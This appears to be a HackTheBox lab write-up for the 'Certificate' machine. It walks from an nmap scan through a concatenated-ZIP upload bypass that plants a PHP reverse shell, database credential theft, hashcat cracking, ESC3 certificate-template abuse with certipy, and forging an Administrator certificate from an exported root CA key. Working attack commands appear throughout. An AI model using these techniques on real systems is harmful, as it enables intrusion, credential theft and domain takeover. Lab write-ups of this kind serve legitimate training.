Sitemap

HTB Labs: Certificate WriteUp

15 min readOct 7, 2025

--

Press enter or click to view image in full size

I began my reconnaissance on the target machine at 10.10.11.71 with a comprehensive Nmap scan to identify exposed services and ports. I executed the command nmap -T5 -A -p- -oN nmap 10.10.11.71, and I’ll explain the purpose of each flag and its functionality to ensure clarity in this writeup.

nmap -T5 -A -p- -oN nmap 10.10.11.71
Warning: 10.10.11.71 giving up on port because retransmission cap hit (2).
Nmap scan report for 10.10.11.71
Host is up (0.055s latency).
Not shown: 65514 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Apache httpd 2.4.58 (OpenSSL/3.1.3 PHP/8.0.30)
|_http-title: Did not follow redirect to http://certificate.htb/
|_http-server-header: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: [blurred])
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: certificate.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.certificate.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.certificate.htb
| Not valid before: 2024-11-04T03:14:54
|_Not valid after: 2025-11-04T03:14:54
|_ssl-date: [blurred]; +1h24m27s from scanner time.
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: certificate.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.certificate.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.certificate.htb
| Not valid before: 2024-11-04T03:14:54
|_Not valid after: 2025-11-04T03:14:54
|_ssl-date: 2025-08-21T19:35:59+00:00; +1h24m27s from scanner time.
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: certificate.htb0., Site: Default-First-Site-Name)
|_ssl-date: [DATE]; +1h24m27s from scanner time.
| ssl-cert: Subject: commonName=DC01.certificate.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.certificate.htb
| Not valid before: 2024-11-04T03:14:54
|_Not valid after: 2025-11-04T03:14:54
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: certificate.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.certificate.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.certificate.htb
| Not valid before: 2024-11-04T03:14:54
|_Not valid after: 2025-11-04T03:14:54
|_ssl-date:[DATE]; +1h24m27s from scanner time.
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open mc-nmf .NET Message Framing
49666/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49684/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49689/tcp open msrpc Microsoft Windows RPC
49700/tcp open msrpc Microsoft Windows RPC
49711/tcp open msrpc Microsoft Windows RPC
49731/tcp open msrpc Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2019|10 (97%)
OS CPE: cpe:/o:microsoft:windows_server_2019 cpe:/o:microsoft:windows_10
Aggressive OS guesses: Windows Server 2019 (97%), Microsoft Windows 10 1903 - 21H1 (91%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Hosts: certificate.htb, DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time:
| date: [blurred]
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
|_clock-skew: mean: 1h24m25s, deviation: 2s, median: 1h24m26s

TRACEROUTE (using port 135/tcp)
HOP RTT ADDRESS
1 55.19 ms 10.10.14.1
2 55.18 ms 10.10.11.71

OS and Service detection performed. Please report any incorrect results at https:/
/nmap.org/submit/ .

The -T5 flag sets Nmap’s timing template to 5, known as “insane” mode, which prioritizes speed by minimizing probe delays. This is suitable for lab environments with low latency but too aggressive for stealth operations due to its high network noise. The -A flag enables comprehensive scanning, including OS detection (-O), service version detection (-sV), default NSE script scanning (-sC), and traceroute ( — traceroute), providing extensive information in a single command. The -p- flag scans all 65,535 TCP ports, ensuring no obscure ports are missed, unlike the default 1,000-port scan. The -oN nmap flag saves the output in Nmap’s normal format to a file named “nmap” for later reference.

The scan took time due to the full port range, with a warning about some ports being dropped due to retransmission limits, likely caused by network issues or firewall filtering. The host was responsive with 55ms latency, and 65,514 ports were filtered (no response), typical for a firewalled Windows system. Below is a detailed breakdown of the open ports, their services, and their implications for the target.

Low Ports:

  • 53/tcp: open, domain (Simple DNS Plus)
    Port 53 is standard for DNS, but Simple DNS Plus is an unusual choice for a Windows Domain Controller, which typically uses Microsoft DNS Server. This suggests a custom configuration or a thematic element of the box. Version detection confirms it handles name resolution, likely for the certificate.htb domain (identified later via LDAP).
  • 80/tcp: open, http (Apache httpd 2.4.58 with OpenSSL/3.1.3 and PHP/8.0.30)
    Port 80 is standard for HTTP, but Apache on a Windows system is uncommon, as Microsoft environments typically use IIS. The server header indicates Win64, and a redirect to http://certificate.htb/ prompted adding it to my hosts file. The title script didn’t follow the redirect, suggesting a web application, possibly certificate-related, as an exploitation entry point. PHP 8.0.30, end-of-life in 2023, may have vulnerabilities in outdated libraries or misconfigurations.
  • 88/tcp: open, kerberos-sec (Microsoft Windows Kerberos)
    This is the default port for Kerberos authentication, confirming the machine is a Domain Controller handling ticket-granting services. The reported server time (2025–08–21 19:34:12Z) aligns with the scan’s clock skew findings.
  • 135/tcp: open, msrpc (Microsoft Windows RPC)
    The standard RPC endpoint mapper port, used for Windows remote management services, indicates potential for enumeration or attacks like PetitPotam with valid credentials.
  • 139/tcp: open, netbios-ssn (Microsoft Windows NetBIOS-SSN)
    A legacy port for NetBIOS over TCP, used for file sharing and name services, less critical on modern systems but relevant for older protocols or SMB-related attacks.
  • 389/tcp: open, ldap (Microsoft Windows Active Directory LDAP)
    The default unsecured LDAP port, central to AD for directory queries, revealed the domain certificate.htb (with a possible parsing error showing a trailing 0) and site Default-First-Site-Name. The SSL certificate (CN=DC01.certificate.htb, valid 2024–11–04 to 2025–11–04) has an unsupported SAN, and the target’s clock is 1h24m ahead. This port indicates an AD Domain Controller, useful for user and group enumeration if anonymous binds are allowed (unlikely).
  • 445/tcp: open, microsoft-ds?
    The default SMB/CIFS port, with a “?” indicating version detection didn’t identify specifics, though host scripts confirmed SMB2 with mandatory signing. Likely hosts SYSVOL and NETLOGON shares, offering potential for null session enumeration or relay attacks.
  • 464/tcp: open, kpasswd5?
    The default Kerberos password change service port, relevant for authentication management and potential hash extraction during escalation.
  • 593/tcp: open, ncacn_http (Microsoft Windows RPC over HTTP 1.0)
    Used for RPC over HTTP, typically for Exchange or Outlook, but here it supports general Windows RPC tunneling.
  • 636/tcp: open, ssl/ldap (Microsoft Windows Active Directory LDAP)
    The secure LDAPS port, with identical domain and certificate details as port 389, preferred for encrypted directory queries.
  • 3268/tcp: open, ldap (Microsoft Windows Active Directory LDAP)
    The unsecured Global Catalog port for AD forests, sharing the same certificate and domain information.
  • 3269/tcp: open, ssl/ldap (Microsoft Windows Active Directory LDAP)
    The secure Global Catalog port, useful for cross-domain queries in larger AD setups.
  • 5985/tcp: open, http (Microsoft HTTPAPI httpd 2.0 — SSDP/UPnP)
    The default WinRM HTTP port for remote management, with a “Not Found” title and Microsoft-HTTPAPI/2.0 server header. If PowerShell Remoting is enabled, this could provide shell access with credentials.
  • 9389/tcp: open, mc-nmf (.NET Message Framing)
    The default port for AD Web Services, used for modern AD management via PowerShell cmdlets over HTTP/S.

High Ports (RPC-related, typical for Windows dynamic ports):

  • 49666/tcp, 49668/tcp, 49689/tcp, 49700/tcp, 49711/tcp, 49731/tcp: open, msrpc (Microsoft Windows RPC)
    These are ephemeral RPC ports for various Windows services.
  • 49684/tcp: open, ncacn_http (Microsoft Windows RPC over HTTP 1.0)
    Additional RPC-over-HTTP tunneling.

OS detection was less reliable due to the lack of a closed port for comparison, but Nmap estimated Windows Server 2019 or Windows 10 (97% confidence), with CPEs supporting this. The aggressive guess favored Server 2019. The network distance was two hops, with traceroute showing the path via 10.10.14.1 to the target. Host scripts reported SMB2 details, mandatory signing, and a clock skew of approximately 1h24m (median 1h24m26s) ahead of my system. Service information identified hosts certificate.htb and DC01, running Windows.

In summary, the scan revealed a Windows Domain Controller for certificate.htb, hosting AD services like LDAP, Kerberos, SMB, and RPC. Notable anomalies include Apache/PHP on port 80 (potentially a web-based certificate authority) and Simple DNS Plus on port 53, rather than Microsoft DNS. No immediate vulnerabilities were evident from service versions, but the setup suggests certificate-related issues, such as misissued certificates or web application flaws. Next steps include enumerating the web application at certificate.htb, attempting anonymous LDAP binds, and checking for accessible SMB shares. Feedback on this box is welcome!

Press enter or click to view image in full size

Moving to the next phase of reconnaissance on the target at 10.10.11.71, I began exploring the web application at http://certificate.htb, which I added to my hosts file based on the Nmap scan’s redirect. My objective was to thoroughly map the site and identify exploitable vulnerabilities. I navigated through its pages, tested the registration and login functionalities, and discovered a promising URL: http://certificate.htb/upload.php?s_id=ID. Accessing this file upload page revealed it permitted only .pdf, .docx, .pptx, .xlsx, and .zip files, with a note indicating instructor review. File upload functionalities are often vulnerable, so I focused on bypassing the extension filter. I tested common techniques like double extensions (shell.php.zip), null bytes (shell.php%00.zip), and manipulating MIME types in Burp Suite, but the server’s strict validation blocked these attempts. The .zip file option stood out, as ZIP files have a complex structure that can be manipulated, and servers frequently mishandle their validation. After researching, I identified the Concatenated ZIP attack as a viable method to bypass the filter, which proved highly effective.

The Concatenated ZIP attack involves creating a ZIP file that appears valid but hides a malicious payload the server may process. A ZIP file consists of file entries (the contained files), a Central Directory (a table listing those files), and an End-of-Central-Directory (EOCD) record marking the file’s end. Most ZIP parsers, such as 7zip or server-side validators, stop reading at the first EOCD, ignoring any data appended afterward. The technique appends a second ZIP file or raw data, like a PHP script, after the EOCD. While the parser validates the initial ZIP as legitimate, the server may extract or execute the appended content as a separate file, particularly if it’s an executable like a PHP script.

To execute this attack, I first prepared a reverse shell:

Press enter or click to view image in full size

Next, I created a benign PDF file named file.pdf and compressed it into file.zip using the command zip file.zip file.pdf. I then created a separate archive, shell.zip, containing my malicious shell.php file with the command zip shell.zip shell.php. The key step was concatenating both ZIP files into a single file, coduronin.zip, using the command cat file.zip shell.zip > coduronin.zip.

Press enter or click to view image in full size

This creates a file where file.zip is a valid ZIP with a PDF, but shell.zip is appended after its EOCD. The server’s validator likely checks the .zip extension and the first ZIP’s magic bytes (PK\x03\x04), sees a PDF, and approves it. But when it extracts the contents, it might unpack shell.php from the second ZIP and store it somewhere I can hit.

I started a Netcat listener to capture the reverse shell using the command nc -lvnp 1233. Next, I uploaded the coduronin.zip file through the web application’s upload form. After the upload, I clicked the “HERE” link provided on the page.

Press enter or click to view image in full size

I opened the URL, and my Netcat listener successfully received a reverse shell. The server had extracted shell.php and executed it, likely due to inadequate validation that failed to detect the concatenated data.

Press enter or click to view image in full size

The Concatenated ZIP attack exploits ZIP file parsing to bypass file validation and deliver malicious payloads.A ZIP file has file entries, a Central Directory, and an End-of-Central-Directory (EOCD) record. Most parsers, like 7zip or a server’s upload checker, stop at the first EOCD, ignoring anything appended after it — like another ZIP containing shell.php. Different tools handle this differently: 7zip only sees the first ZIP’s contents, WinRAR might reveal the second ZIP’s files, and Windows File Explorer can miss or partially show appended data, per Perception Point’s research. When I uploaded coduronin.zip (a legit ZIP plus my malicious shell.zip), the server at certificate.htb validated the first ZIP but extracted shell.php, which I accessed for RCE. This happens because servers often don’t fully parse concatenated files, letting hidden payloads execute.

With the resulting shell, I explored the web server’s filesystem and discovered a database configuration file named db.php. Using the command type db.php, I retrieved database credentials.

Press enter or click to view image in full size

I used the database credentials to access the MySQL database and executed SELECT * FROM users; to dump the users table. This revealed a username, sarah, along with a bcrypt hash.

Press enter or click to view image in full size

To crack the bcrypt hash, I launched Hashcat using its bcrypt mode.

Press enter or click to view image in full size

Here, -m 3200 tells Hashcat I’m cracking a bcrypt hash (mode 3200 is for $2*$, Blowfish (bcrypt)), and -a 0 sets a straight dictionary attack using rockyou.txt.

Get Izzat Mammadzada’s stories in your inbox

Join Medium for free to get updates from this writer.

After a bit, it spit out Sarah’s password. With these creds, I tried evil-winrm to log into the box via WinRM (port 5985 from my Nmap scan):

Press enter or click to view image in full size

I landed in Sarah’s session and started enumerating. In her Documents folder, I found a pcap file. I transferred it to my box with evil-winrm’s download feature and opened it in Wireshark. It had Kerberos traffic, so I used krb5_roast_parser to extract a Kerberos pre-auth hash (TGT):

Press enter or click to view image in full size

This gave me a hash in $krb5pa$18$ format. Back to Hashcat

Press enter or click to view image in full size

Here, -m 19900 is for Kerberos 5 pre-authentication (etype 18, like the $krb5pa$18 in the hash), and -a 0 runs a straight dictionary attack using the rockyou.txt.

USER FLAG:

It cracked the hash, revealing another user’s password. I logged in with evil-winrm again:

Press enter or click to view image in full size

And I found the first flag in the user’s home directory.

While enumerating as lion.sk , I explored the account’s permissions and group memberships to find escalation paths. Using commands like net user lion.sk /domain and net group “DOMAIN CRA MANAGERS” /domain, I discovered that lion.sk belongs to the “DOMAIN CRA MANAGERS” group. The group’s description, “The members of this security group are responsible for issuing and revoking multiple certificates for the domain users,” immediately stood out. In Active Directory environments, certificate-related roles often lead to misconfigurations that can be exploited for privilege escalation. I decided to use Certipy to investigate certificate template vulnerabilities.

certipy-ad find -vulnerable -u lion.sk@certificate.htb -p '!QAZ2wsx' -dc-ip 10.10.11.71 -stdout

Certipy is a tool for auditing and exploiting AD CS. The find subcommand queries AD for certificate templates and their configurations. -vulnerable filters the output to show only templates with known vulnerabilities, like ESC1, ESC2, or ESC3, which are common AD CS misconfigurations. -u lion.sk@certificate.htb specifies the username (lion.sk) and domain (certificate.htb) for authentication. This uses the credentials obtained earlier (likely from the MySQL dump or Kerberos hash). -p ‘!QAZ2wsx’: Provides the password for lion.sk, allowing Certipy to authenticate to the Domain Controller (DC). -dc-ip 10.10.11.71 points to the DC’s IP address, where Certipy sends LDAP and RPC queries to enumerate templates. -stdout outputs results directly to the terminal for immediate review, rather than saving to a file.

Press enter or click to view image in full size

Certipy queries the AD CS infrastructure via LDAP to list certificate templates and check for misconfigurations. The -vulnerable flag highlights templates with issues like ESC3 (Enrollment Agent Certificate Template), which allows a user to request an Enrollment Agent certificate. This certificate enables requesting certificates on behalf of other users, a powerful privilege if misconfigured. The output flagged a template vulnerable to ESC3, meaning lion.sk could request an Enrollment Agent certificate and potentially impersonate another user to escalate privileges.

I initially tried exploiting the ESC3 vulnerability to request a certificate for the Administrator account, hoping to jump straight to domain admin. However this attempt failed.

Undeterred, I shifted focus to another user, ryan.k, who was part of the “DOMAIN STORAGE MANAGER” group (likely found via net group or LDAP enumeration). This group suggested potential certificate or storage-related permissions, making ryan.k a promising target for the ESC3 attack.

To exploit ESC3, I first needed an Enrollment Agent certificate for lion.sk. I ran:

certipy-ad req -u 'lion.sk@CERTIFICATE.HTB' -p '!QAZ2wsx' -dc-ip '10.10.11.71' -target 'DC01.CERTIFICATE.HTB' -ca 'Certificate-LTD-CA' -template 'Delegated-CRA'
  • -ca ‘Certificate-LTD-CA’: Names the Certificate Authority, likely identified during the certipy find step or LDAP enumeration.
  • -template ‘Delegated-CRA’: Requests a certificate based on the Delegated-CRA template, which is vulnerable to ESC3 and grants Enrollment Agent permissions.

This command requests an Enrollment Agent certificate, which allows lion.sk to request certificates for other users. Certipy communicates with the CA via RPC (ports 445 or 135) and returns a .pfx file containing the certificate and private key. The ESC3 vulnerability stems from the Delegated-CRA template granting Certificate Request Agent permissions to lion.sk (via the DOMAIN CRA MANAGERS group), enabling this powerful capability.

Using the Enrollment Agent certificate, I requested a certificate for ryan.k with the SignedUser template:

certipy-ad req -u 'lion.sk@CERTIFICATE.HTB' -p '!QAZ2wsx' -dc-ip '10.10.11.71' -target 'DC01.CERTIFICATE.HTB' -ca 'Certificate-LTD-CA' -template 'SignedUser' -pfx 'lion.sk.pfx' -on-behalf-of 'CERTIFICATE\ryan.k'
  • -template ‘SignedUser’: Specifies the SignedUser template, likely configured for user authentication and vulnerable to ESC3, allowing Enrollment Agents to request certificates for others.
  • -pfx ‘lion.sk.pfx’: Uses the Enrollment Agent certificate from the previous step to prove lion.sk’s authority to request certificates on behalf of others.
  • -on-behalf-of ‘CERTIFICATE\ryan.k’: Requests a certificate for ryan.k in the certificate.htb domain.

The SignedUser template enables certificates for user authentication, with Extended Key Usages (EKUs) like Client Authentication. The ESC3 vulnerability allows lion.sk to request a certificate for ryan.k using the Enrollment Agent certificate. The CA issues a .pfx file containing ryan.k’s certificate and private key, which can be used to authenticate as ryan.k to AD services.

This bellow command aligns my system’s clock with the DC’s to ensure Kerberos authentication works. Kerberos tickets include timestamps, and a mismatch would cause authentication failures. This step was critical before using ryan.k’s certificate.

sudo ntpdate 10.10.11.71

Certipy uses the certificate to authenticate as ryan.k, obtaining an NTLM hash. The command succeeded, providing credentials for ryan.k. I then used evil-winrm to log in:

Press enter or click to view image in full size

As ryan.k, I checked the DC’s certificate store:

Press enter or click to view image in full size

The output listed several certificates, including Certificate2, which was passwordless and self-signed.

The output shows: “Root Certificate: Subject matches Issuer” and “Issuer: CN=Certificate-LTD-CA, DC=certificate, DC=htb” with “Subject: CN=Certificate-LTD-CA, DC=certificate, DC=htb”. This means the certificate was issued by itself — the issuer and subject are identical, which is the definition of a self-signed certificate.

In a Public Key Infrastructure (PKI), a self-signed certificate is one where the private key associated with the certificate signs the certificate itself, rather than being signed by another CA. This is typical for a root CA certificate, which sits at the top of the trust chain. Unlike intermediate or end-entity certificates, which are signed by a higher authority, a root CA has no parent — it’s the ultimate trust anchor. The domain (certificate.htb) trusts this certificate implicitly, and any certificate it signs (using its private key) is also trusted. The “Signature matches Public Key” and “Signature test passed” confirm that the certificate’s digital signature is valid, reinforcing its integrity as a self-signed root CA certificate.

This was a critical find, as access to the root CA’s private key allows forging trusted certificates.

I exported Certificate2:

certutil -exportPFX My 75b2f4bbf31f108945147b466131bdca cert.pfx

Since Certificate2 was passwordless, no password was needed to export it. The resulting cert.pfx contains the root CA’s certificate and private key, a severe misconfiguration. Normally, the root CA’s private key is heavily protected, but here it was accessible, enabling certificate forgery.

[Golden Ticket Attack]

Using the root CA’s private key, I forged a certificate for Administrator:

certipy forge -ca-pfx cert.pfx -out golden_ticket.pfx -upn Administrator

Certipy signs a new certificate for Administrator using the root CA’s private key. The certificate includes EKUs like Client Authentication, making it valid for AD authentication. Since it’s signed by the trusted root CA, the domain accepts it as legitimate. This is a certificate-based equivalent of a Kerberos Golden Ticket, granting arbitrary user impersonation.

I used the forged certificate to authenticate:

Press enter or click to view image in full size

Certipy uses the certificate to authenticate via Kerberos (port 88) or LDAP (port 636), retrieving the NTLM hash for Administrator. The hash format is LM:NTLM, and the NTLM hash usable for pass-the-hash.

ROOT FLAG:

I used evil-winrm to log in:

Press enter or click to view image in full size

This granted full Administrator access to the DC, completing the escalation and getting the flag.

--

--